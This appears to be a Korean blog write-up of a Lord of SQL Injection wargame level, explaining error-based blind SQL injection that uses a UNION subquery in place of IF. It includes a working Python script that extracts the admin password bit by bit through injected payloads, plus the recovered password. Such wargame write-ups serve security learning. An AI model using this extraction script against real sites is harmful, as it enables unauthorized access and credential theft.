이번문제도 전 문제와 비슷한 형태입니다. 그런데 이번에는 if문의 사용이 금지되어있네요.
if문을 사용하지 않고 error based SQLi를 사용해야 하기 때문에 union select만 이용해서 에러를 도출해야합니다.
(select 1 union select (length(pw)>1))--+- 구문을 작성해서 넣으면 length와 비교하는 1 숫자에 따라 에러가 날 경우 에러메시지 없이 그냥 공백 화면이 출력됩니다. 공백 화면이 출력되면 에러라고 볼 수 있습니다.
그러면 이제 패스워드를 찾는 코드를 작성해야하는데 전에 했던 코드에 쿼리문만 살짝 수정하면 됩니다.
darkeye.py |
import requests
requests.packages.urllib3.disable_warnings()
sess= requests.session()
headers= {'Cookie':'PHPSESSID=1tgns4m88c41rdkh5ei60sm1hq'}
# get length of column ==========================
passwordLen= 0
for i in range(1,100):
payload= "' or id='admin' and (select 1 union select (length(pw)={}))%23".format(i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'query' in res.text:
passwordLen= i
break
else:
pass
print('[=] Find Password Length : %d' % passwordLen)
bitLen = 16
Password= ''
for j in range(1, passwordLen+1):
bit= ''
for i in range(1, bitLen+1):
payload= "' or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1))%23".format(j, bitLen, i)
res = sess.get(url=URL+payload, headers=headers, verify=False)
if 'query' in res.text:
# Error Occured!! It is not 1
bit+= '1'
else:
# false!!
bit+= '0'
Password+= chr(int(bit,2))
print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j,chr(int(bit,2)), bit,hex(int(bit,2))[2:]))
print('[=] Find Password : %s' % Password)
|
or id='admin' and (select 1 union select (substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1))%23
위처럼 if 대신 select 만을 활용하여 코드를 사용할 수 있습니다.
그렇게 나온 패스워드는 5a2f5d3c였습니다.
패스워드를 입력하여 클리어
'3. 웹 애플리케이션 취약점 진단 > Lord of Sql Injection' 카테고리의 다른 글
lord of sql injection 24번 - evil_wizard (0) | 2023.12.22 |
---|---|
lord of sql injection 23번 - hell_fire (0) | 2023.12.22 |
lord of sql injection 21번 - iron_golem (0) | 2023.12.22 |
lord of sql injection 20번 - dragon (0) | 2023.12.22 |
lord of sql injection 19번 - xavis (0) | 2023.12.22 |